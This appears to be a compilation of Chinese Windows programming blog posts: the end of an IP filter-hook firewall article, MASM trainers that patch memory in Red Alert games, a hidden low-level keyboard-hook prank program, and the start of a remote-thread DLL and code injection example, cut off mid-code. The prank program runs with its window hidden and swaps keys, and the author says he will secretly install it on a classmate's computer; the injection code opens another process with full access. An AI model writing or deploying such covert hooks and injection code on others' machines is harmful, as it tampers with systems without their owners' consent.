你会发现当我们完成了建立过滤函数的处理,我们必须废除( de-reference )在我们取得指向设备驱动的指针时获得的文件对象。我用了一个将在 IP 过滤驱动完成对 IRP 的处理时提示的事件。
过滤函数
我们已经看到了如何开发驱动和如何安装过滤函数,但我们还不知道过滤函数是什么样的。
我已经说过了这个函数总是在主机接受或发送一个数据包时被调用。根据这个函数的返回值,系统来决定对这个包作些什么。
这个函数的原型必须是这样的:
typedef PF_FORWARD_ACTION (*PacketFilterExtensionPtr)( // Ip Packet Header IN unsigned char *PacketHeader, // Packet. Don't include Header IN unsigned char *Packet, // Packet length. Don't Include length of ip header IN unsigned int PacketLength, // Index number for the interface adapter //over which the packet arrived IN unsigned int RecvInterfaceIndex, // Index number for the interface adapter //over which the packet will be transmitted IN unsigned int SendInterfaceIndex, //IP address for the interface //adapter that received the packet IN IPAddr RecvLinkNextHop, //IP address for the interface adapter //that will transmit the packet IN IPAddr SendLinkNextHop );
PF_FORWARD_ACTION 是一个枚举类型,可以取值为:
PF_FORWARD指定 IP 过滤驱动立即向 IP 栈返回 forward 响应。对于本地包,IP 将他们直接入栈。如果包的目的地是另一台计算机并且允许路由,IP 将它们相应的路由。PF_DROP指定 IP 过滤驱动立即向 IP 栈返回 drop 响应。IP 应该丢弃数据包。PF_PASS指定 IP 过滤驱动过滤包并向 IP 栈返回结果响应。IP 过滤驱动如何处理过滤数据包取决于数据包过滤 API 的设置。如果过滤钩子决定不处理这个包而交给 IP 过滤驱动来过滤这个包,返回这个 pass 响应。虽然 DDK 文档只包含了这三个值,但你查看 pfhook.h(过滤钩子驱动需要包含)就会看到另一个值。这个值是 PF_ICMP_ON_DROP 。我估计这个值对应的是丢弃包并以一个 ICMP 包反馈错误信息。
正如你在过滤函数的定义中看到的,数据包及它的报头是以指针传递的。所以,你可以修改报头或负载然后传递该包。这是很有用的,例如做网络地址转换( NAT )。如果你改变了目标地址,IP 会路由该包。
在我的实现中,过滤函数将每个包和一个由用户应用程序引入的规则列表比较。这个列表是用链表实现的,由每个 START_IP_HOOK IOCTL 在运行时建立。你可以在我的代码中看到这些。
在这篇文章的第一个版本中包含了一个简单的例子,但由于有人想让我帮他开发实际的程序,我把它更新成了一个更复杂的例子。新的例子时一个小的数据包 过滤程序。用这个新程序你可以实现你自己的过滤规则,就像你在一些商业防火墙软件中做的那样。
在第一个版本中,程序包含两个组件:
过滤钩子驱动必须和用户应用程序的可执行文件处在同一个目录中。
为什么用这种方法开发防火墙?
这不是在 Windows 开发防火墙的唯一方法,还有其它的像 NDIS 防火墙,TDI 防火墙,Winsock 层的防火墙,数据包过滤 API,……所以我总结了一些过滤钩子驱动的优点和缺点,以供你在将来需要用到时参考。
结果:过滤钩子驱动并不是最好的,但它也没有什么坏特性。可是为什么这个方法没有用在商业产品中呢?
答案很简单。虽然这个驱动没有不好的特性,但它有一个很大的缺点。正如我之前提到的,每次只能安装一个过滤函数。我们可以开发一个强大的防火墙,它 可能被上千的用户下载并安装,但如果其它的应用程序使用了过滤(并在之前安装了过滤函数),我们的程序就什么都做不了了。
这个方法还有另一个缺点没有被微软的文档提到。虽然 DDK 文档说你可以在过滤函数中访问数据包内容,但那不是真的。你可以访问收到的包的内容,但对于发送的包,你只能读 IP 和 TCP,UDP 或 ICMP 报头。我不明白为什么……
微软在 Windows XP 中引入了另一种没有这个限制的驱动:防火墙钩子驱动。它的安装很类似,但微软并不建议使用它,以为“它消耗太多的网络栈”。也许这个驱动会在以后的 Windows 版本中消失。
好了,到结尾了。我只到这并不是开发防火墙的最好方法(我在前面提到了它的缺点)。但我认为这对正在查找资料和对此感兴趣的人们是个好的开始。
我希望你能得到些帮助,并开始想要开发个强大的防火墙了。
由于红警2中保存金钱的位置每次载入都不一样,所以不能简单的 WriteProcessMemory 就行了。不过办法当然还是有的。查到一次的地址,然后在地址处下个断点,动态跟踪一下就会发现,代码中有一处 push eax 是用来给出保存金钱的地址的。在该处下断点,每次 eax 的值加 2E8h 刚好是保存金钱的地址。嘿嘿,那只要在这里做一些手脚不就搞定了?在进程的空间中找一处空闲的地方,例如地址A和其不远出的B,然后把push eax 的地方改成 jmp B 在B那里写上 mov A, eax 这样就把这个值保存在了一个固定的地方,然后再在B后面写上被破坏的几条指令,并最后jmp回原来的地址。OK了,现在我们只要去A处取地址,加上 2E8h 就能得到金钱的地址了,就又能改钱了,哈哈!至于改别的,我没有试,大概方法都差不多。
下面是代码,只适用于winxp,并且是 针对尤里的复仇的。每次按下alt+1加50000的money。
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shell32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
WM_SHELLNOTIFY equ WM_USER + 5
IDI_TRAY equ 0
YuriIcon equ 10000
HotKeyID equ 0ABC0h
.const
AppMutex db ‘FixYuriMutex’, 0
AlreadyRun db ‘FixYuri is already running!’, 0
AppName db ‘FixYuri’, 0
ClassName db ‘FixYuriClass’, 0
TargetTitle db ‘Yuri’’s Revenge’, 0
HintText db ‘press Alt+1 add 50000$’, 0
YuriNotFound db ‘Yuri’’s Revenge is not running!’, 0
Addr1 dd 004A2593h ; push eax 处的地址,别的机器上可能不同
Addr2 dd 00B78F10h ; 保存代码的位置
Addr3 dd 00B78F00h ; 保存地址的位置
Data1 db 0E9h, 078h, 069h, 06Dh, 000h, 090h ; jmp 00B78F10h 的机器代码
Data2 db 0A3h, 000h, 08Fh, 0B7h, 000h, 050h, 0FFh, 051h, 018h, 033h, 0D2h, 0E9h, 079h, 096h, 092h, 0FFh ; mov [00B78F10h], eax; push eax; call dword ptr ds:[ecx+18]; xor edx, edx; jmp 004A2599h 的机器代码
.data
pid dd 0
hd dd 0
.data?
inst HINSTANCE ?
cmd LPSTR ?
note NOTIFYICONDATA <?>
ico dd ?
tmp dd ?
Addr4 dd ?
dwFlag dd ?
.code
start:
invoke CreateMutex, NULL, FALSE, addr AppMutex
invoke GetLastError
.IF eax == ERROR_ALREADY_EXISTS
invoke MessageBox, NULL, addr AlreadyRun, addr AppName, MB_OK or MB_ICONWARNING
invoke ExitProcess, 0
.ENDIF
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_MINIMIZE
invoke ExitProcess, eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW + 1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, hInst, YuriIcon
mov wc.hIcon, eax
mov wc.hIconSm, eax
mov ico, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW and not WS_MAXIMIZEBOX and not WS_SIZEBOX,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
200,\
50,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc: HDC
LOCAL ps: PAINTSTRUCT
LOCAL rect: RECT
.IF uMsg == WM_CREATE
invoke RegisterHotKey, hWnd, HotKeyID, MOD_ALT, VK_1
.ELSEIF uMsg == WM_PAINT
invoke BeginPaint, hWnd, addr ps
mov hdc, eax
invoke GetClientRect, hWnd, addr rect
invoke DrawText, hdc, addr HintText, -1, addr rect,\
DT_CENTER or DT_VCENTER or DT_SINGLELINE
.ELSEIF uMsg == WM_SIZE
.IF wParam == SIZE_MINIMIZED
mov note.cbSize, SIZEOF NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID, IDI_TRAY
mov note.uFlags, NIF_ICON or NIF_MESSAGE or NIF_TIP
mov note.uCallbackMessage, WM_SHELLNOTIFY
push ico
pop note.hIcon
invoke lstrcpy, addr note.szTip, addr AppName
invoke ShowWindow, hWnd, SW_HIDE
invoke Shell_NotifyIcon, NIM_ADD, addr note
.ENDIF
.ELSEIF uMsg == WM_SHELLNOTIFY
.IF wParam == IDI_TRAY
.IF lParam == WM_LBUTTONDOWN
invoke Shell_NotifyIcon, NIM_DELETE, addr note
invoke ShowWindow, hWnd, SW_RESTORE
invoke SetForegroundWindow, hWnd
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID
.IF hd == 0
invoke FindWindow, 0, addr TargetTitle
.IF eax != 0
invoke GetWindowThreadProcessId, eax, addr pid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, pid
mov hd, eax
.ENDIF
.IF hd != 0
invoke WriteProcessMemory, hd, Addr1, addr Data1, SIZEOF Data1, NULL
invoke WriteProcessMemory, hd, Addr2, addr Data2, SIZEOF Data2, NULL
invoke Sleep, 1000
.ELSE
invoke SetForegroundWindow, hWnd
invoke MessageBox, hWnd, addr YuriNotFound, addr AppName, MB_OK or MB_ICONWARNING
.ENDIF
.ELSE
invoke ReadProcessMemory, hd, Addr3, addr tmp, SIZEOF tmp, NULL
.IF eax
push tmp
pop Addr4
add Addr4, 02e8h
invoke ReadProcessMemory, hd, Addr4, addr tmp, SIZEOF tmp, NULL
add tmp, 50000
invoke WriteProcessMemory, hd, Addr4, addr tmp, SIZEOF tmp, NULL
.ELSE
mov hd, 0
.ENDIF
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_DESTROY
invoke UnregisterHotKey, hWnd, HotKeyID
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start
前段时间写的,感觉比较完善了。能锁定金钱,电量和用电量,并能增加建造速度。并可以工作在win98和winxp两种平台上。
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shell32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
KeyProc proto
WORD,
WORD,
WORD
GetOsVersion proto
WM_SHELLNOTIFY equ WM_USER + 5
IDI_TRAY equ 0
RaIcon equ 10000
TimerID equ 1
ButtonID1 equ 1
ButtonID2 equ 2
ButtonID3 equ 3
ButtonID4 equ 4
HotKeyID1 equ 0ABC1h
HotKeyID2 equ 0ABC2h
HotKeyID3 equ 0ABC3h
HotKeyID4 equ 0ABC4h
.const
AppMutex db ‘racheatmutex’, 0
AlreadyRun db ‘RA cheater is already running!’, 0
AppName db ‘RA cheater’, 0
ClassName db ‘racheaterclass’, 0
TargetTitle db ‘Red Alert’, 0
ButtonClass db ‘Button’, 0
Button1 db ‘lock money(Alt+1)’, 0
Button2 db ‘lock used power(Alt+2)’, 0
Button3 db ‘lock power(Alt+3)’, 0
Button4 db ’speed up(Alt+4)’, 0
Value1 dd 30000
Value2 dd 0
Value3 dd 500
Value4 dd 0F0h
.data
flag1 db 0
flag2 db 0
flag3 db 0
pid dd 0
hd dd 0
.data?
inst HINSTANCE ?
cmd LPSTR ?
note NOTIFYICONDATA <?>
ico dd ?
OsVer dd ?
hHook dd ?
Addr1 dd ?
Addr2 dd ?
Addr3 dd ?
Addr4 dd ?
hwnd HWND ?
.code
start:
invoke CreateMutex, NULL, FALSE, addr AppMutex
invoke GetLastError
.IF eax == ERROR_ALREADY_EXISTS
invoke MessageBox, NULL, addr AlreadyRun, addr AppName, MB_OK or MB_ICONWARNING
invoke ExitProcess, 0
.ENDIF
invoke GetOsVersion ; 判断系统类型
mov OsVer, eax
.IF OsVer == VER_PLATFORM_WIN32_NT ; 根据系统类型赋不同的地址,也许在你的机器上和我的不一样,FPE搜一下就知道了。
mov Addr1, 0A431D17h
mov Addr2, 0A431D67h
mov Addr3, 0A431D63h
mov Addr4, 0A431D53h
.ELSE
mov Addr1, 01C31D17h
mov Addr2, 01C31D67h
mov Addr3, 01C31D63h
mov Addr4, 0A431D53h
.ENDIF
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_MINIMIZE
invoke ExitProcess, eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, hInst, RaIcon
mov wc.hIcon, eax
mov wc.hIconSm, eax
mov ico, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW and not WS_MAXIMIZEBOX and not WS_SIZEBOX,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
200,\
225,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_CREATE
invoke SetTimer, hWnd, TimerID, 500, NULL
.IF OsVer == VER_PLATFORM_WIN32_NT
invoke RegisterHotKey, hWnd, HotKeyID1, MOD_ALT, VK_1
invoke RegisterHotKey, hWnd, HotKeyID2, MOD_ALT, VK_2
invoke RegisterHotKey, hWnd, HotKeyID3, MOD_ALT, VK_3
invoke RegisterHotKey, hWnd, HotKeyID4, MOD_ALT, VK_4
.ELSE ; 由于win98下注册的快捷键进游戏后就失效了,只好用钩子实现快捷键。
invoke SetWindowsHookEx, WH_JOURNALRECORD, addr KeyProc, inst, NULL
mov hHook, eax
.ENDIF
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button1,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 0, 195, 50,\
hWnd, ButtonID1, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button2,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 50, 195, 50,\
hWnd, ButtonID2, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button3,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 100, 195, 50,\
hWnd, ButtonID3, inst, NULL
invoke CreateWindowEx, NULL, addr ButtonClass, addr Button4,\
BS_PUSHBUTTON or WS_VISIBLE or WS_CHILD, 0, 150, 195, 50,\
hWnd, ButtonID4, inst, NULL
.ELSEIF uMsg == WM_SIZE
.IF wParam == SIZE_MINIMIZED
mov note.cbSize, SIZEOF NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID, IDI_TRAY
mov note.uFlags, NIF_ICON or NIF_MESSAGE or NIF_TIP
mov note.uCallbackMessage, WM_SHELLNOTIFY
push ico
pop note.hIcon
invoke lstrcpy, addr note.szTip, addr AppName
invoke ShowWindow, hWnd, SW_HIDE
invoke Shell_NotifyIcon, NIM_ADD, addr note
.ENDIF
.ELSEIF uMsg == WM_SHELLNOTIFY
.IF wParam == IDI_TRAY
.IF lParam == WM_LBUTTONDOWN
invoke Shell_NotifyIcon, NIM_DELETE, addr note
invoke ShowWindow, hWnd, SW_RESTORE
invoke SetForegroundWindow, hWnd
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_TIMER
.IF hd == 0
invoke FindWindow, 0, addr TargetTitle
.IF eax != 0
invoke GetWindowThreadProcessId, eax, addr pid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, pid
mov hd, eax
.ENDIF
.ENDIF
.IF flag1 == 1
invoke WriteProcessMemory, hd, Addr1, addr Value1, SIZEOF Value1, NULL
.IF eax == 0
mov hd, 0
.ENDIF
.ENDIF
.IF flag2 == 1
invoke WriteProcessMemory, hd, Addr2, addr Value2, SIZEOF Value2, NULL
.IF !eax
mov hd, 0
.ENDIF
.ENDIF
.IF flag3 == 1
invoke WriteProcessMemory, hd, Addr3, addr Value3, SIZEOF Value3, NULL
.IF !eax
mov hd, 0
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_COMMAND
mov eax, wParam
.IF ax == ButtonID1
xor flag1, 1
.ELSEIF ax == ButtonID2
xor flag2, 1
.ELSEIF ax == ButtonID3
xor flag3, 1
.ELSEIF ax == ButtonID4
.IF hd
mov edx, Addr4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID1
xor flag1, 1
.ELSEIF wParam == HotKeyID2
xor flag2, 1
.ELSEIF wParam == HotKeyID3
xor flag3, 1
.ELSEIF
.IF hd
mov edx, Addr4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
add edx, 4
invoke WriteProcessMemory, hd, edx, addr Value4, SIZEOF Value4, NULL
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_SYSKEYDOWN
.IF lParam == VK_1
xor flag1, 1
.ELSEIF lParam == VK_2
xor flag2, 1
.ELSEIF lParam == VK_3
xor flag3, 1
.ENDIF
.ELSEIF uMsg == WM_DESTROY
.IF OsVer == VER_PLATFORM_WIN32_NT
invoke UnregisterHotKey, hWnd, HotKeyID1
invoke UnregisterHotKey, hWnd, HotKeyID2
invoke UnregisterHotKey, hWnd, HotKeyID3
.ELSE
invoke UnhookWindowsHookEx, hHook
.ENDIF
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
mov edx, lParam
assume edx: PTR EVENTMSG
.IF [edx].message == WM_SYSKEYDOWN
mov eax, [edx].paramL
.IF al == VK_1
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_1
.ELSEIF al == VK_2
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_2
.ELSEIF al == VK_3
invoke PostMessage, hwnd, WM_SYSKEYDOWN, NULL, VK_3
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
GetOsVersion proc
LOCAL ovi:OSVERSIONINFO
mov ovi.dwOSVersionInfoSize, SIZEOF OSVERSIONINFO
invoke GetVersionEx, addr ovi
mov eax, ovi.dwPlatformId
ret
GetOsVersion endp
end start
由 于红警98中金钱等信息的地址在每次载入时都是固定的,所以这个程序可以得逞,要是换红警2,就得用另一种方法了。
看win32汇编看到钩子部分,突发奇想,打算写一个改变键盘布局的整人程序
查 了查资料,发现底层键盘钩子(WH_KEYBOARD_LL)可以实现。首先是安装和卸载钩子:
InstallHook proc hIns: DWORD
invoke SetWindowsHookEx, WH_KEYBOARD_LL, addr KeyProc, hIns, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook proc
invoke UnhookWindowsHookEx, hHook
ret
UninstallHook endp
这些与别的钩子一样,在回调函数 KeyProc 中 nCode 值为 HC_ACTION,wParam 为按键消息(WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP),lParam 为指向 KBDLLHOOKSTRUCT 结构的指针。
首先,我想捕获按键x,为了知道是否捕获到了,我让程序在有x按下时弹出一个对话框。
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
invoke MessageBox, NULL, addr szMsg, addr szTit, MB_OK
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
程序很简单,当有x按下时弹出一个对话框,按一下试试,OK!看来我们已经捕获到按键了。
那现在要怎样才能把x按 键改成其它的按键呢?先试试其他程序是不是在我们的钩子函数之后处理按键消息:把 KeyProc 中的 invoke 一句改成 ret。运行程序,按x,呵呵,x键被屏蔽了,看来钩子函数处理按键消息的优先级是很高的。那把这个消息改成别的按键传下去就能起到改变按键的作用了吧? 试试看喽!
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
mov [edx].vkCode, VK_Y
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
我把改 vkCode 改成了 VK_Y,现在其它程序得到的消息应该是按键y了吧?运行,按x,奇怪,还是x??为什么啊?难道 scanCode 也要改??查了一下 VK_Y 的 scanCode ,也改了,还是不行。难道我们的程序没有修改那段内存的权限?提升程序的权限?太麻烦了,还是想想别的办法吧!既然现在能够屏蔽掉一个按键了,那我们不是 可以再用 keybd_event 模拟按键吗?对,就这么干!
我们现在屏蔽x和y按键,然后在x按键时模拟y按键,在y按键时模拟x按 键,这样就调换了x和y的键盘位置。
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X)
invoke keybd_event, VK_Y, 0, 0, 0
ret
.ELSEIF ([edx].vkCode == VK_Y)
invoke keybd_event, VK_X, 0, 0, 0
ret
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
这回应该没问题了吧?运行一下试试!哦,NO,又出问题了,按下x 或y后,x和y不停的交替出现,消息循环了?是啊,连用 keybd_event 模拟的按键都被底层键盘钩子捕获了!怎么办呢?其实多判断一下 scanCode 就好了,模拟的按键和实际的按键 scanCode 是不同的。好了,现在问题完全解决了!在加上判断 WM_SYSKEYDOWN 的判断,这样就换的更彻底了。下面是完整的程序:
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
WinMain proto
WORD,
WORD,
WORD,
WORD
InstallHook proto
WORD
UninstallHook proto
HotKeyID1 equ 1
HotKeyID2 equ 2
KBDLLHOOKSTRUCT STRUCT
vkCode DWORD ?
scanCode DWORD ?
flags DWORD ?
time DWORD ?
dwExtraInfo ULONG ?
KBDLLHOOKSTRUCT ENDS
.const
ClassName db ‘HookxClass’, 0
AppName db ‘Hookx’, 0
Running db ‘i am running…’, 0
.data?
inst dd ?
hHook dd ?
cmd dd ?
.code
start:
invoke GetModuleHandle, NULL
mov inst, eax
invoke GetCommandLine
mov cmd, eax
invoke WinMain, inst, NULL, cmd, SW_HIDE ;整人的程序,当然不能把窗口显示出来了!
invoke ExitProcess,eax
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW + 1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, NULL, IDI_APPLICATION
mov wc.hIcon, eax
mov wc.hIconSm, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx, NULL,\
addr ClassName,\
addr AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd, eax
invoke ShowWindow, hwnd, CmdShow
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, addr msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
.ENDW
mov eax, msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_CREATE
invoke InstallHook, inst
invoke RegisterHotKey, hWnd, HotKeyID1, MOD_ALT, VK_8 ;注册两个快捷键用来查看程序时候在运行和关闭程序
invoke RegisterHotKey, hWnd, HotKeyID2, MOD_ALT, VK_9
.ELSEIF uMsg == WM_HOTKEY
.IF wParam == HotKeyID1
invoke MessageBox, NULL, addr Running, addr AppName, MB_OK
.ELSEIF wParam == HotKeyID2
invoke UninstallHook
invoke PostMessage, hWnd, WM_DESTROY, NULL, NULL
.ENDIF
.ELSEIF uMsg == WM_DESTROY
invoke UnregisterHotKey, hWnd, HotKeyID2
invoke UnregisterHotKey, hWnd, HotKeyID1
invoke UninstallHook
invoke PostQuitMessage, NULL
.ELSE
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
KeyProc proc nCode: DWORD, wParam: WPARAM, lParam: LPARAM
.IF nCode == HC_ACTION
.IF (wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)
mov edx, lParam
assume edx: PTR KBDLLHOOKSTRUCT
.IF ([edx].vkCode == VK_X) && ([edx].scanCode != 0)
invoke keybd_event, VK_Y, 0, 0, 0
ret
.ELSEIF ([edx].vkCode == VK_Y) && ([edx].scanCode != 0)
invoke keybd_event, VK_X, 0, 0, 0
ret
.ENDIF
.ENDIF
.ENDIF
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyProc endp
InstallHook proc hIns: DWORD
invoke SetWindowsHookEx, WH_KEYBOARD_LL, addr KeyProc, hIns, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook proc
invoke UnhookWindowsHookEx, hHook
ret
UninstallHook endp
end start
现在我可以把这个程序偷偷的放到同学的机器上去运行了
, 咦?我的键盘怎么了?
程序说明:找到计算器进程把c盘下的modll.dll注入.
DLL编绎参数: ml /c /coff modll.asm
link /dll /subsystem:windows /def:modll.def modll.obj
def 文件:只有一行(无导出函数哈):LIBRARY modll.dll
dll的作用:显示被注入进程的PID号.
masm6.11+win2k pro调试通过.
程序下载:http://www.cnwill.com/soft/czy/modll.dll
http://www.cnwill.com/soft/czy/mo.exe
如 果是代码注入:作用弹一个msgbox出来
———————————rthread.asm——————
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ‘2K下建远程线程’,0
tit db ‘计算器’,0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
dllname db ‘c:\modll.dll’,0
.const
szmsg db ‘MessageBoxA’,0
userdll db ‘User32.dll’,0
szloadlib db ‘LoadLibraryA’,0 ;注意和LoadLibraryW的区别哟
kerdll db ‘kernel32.dll’,0
.code
codebegin:
dispdata db “iam remote thread”,0
szTit db “nsfocus.czy”,0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址为参数
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX+dispdata]
LEA EDX,[EBX+szTit]
push 1
push edx
push ecx
push 0
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代码长度13字节
start:
invoke FindWindow,0,offset tit ;返回计算器窗口句柄
invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄
mov hProcess,eax ;保存进程句柄
;——————————————- 下面是把程序代码注入
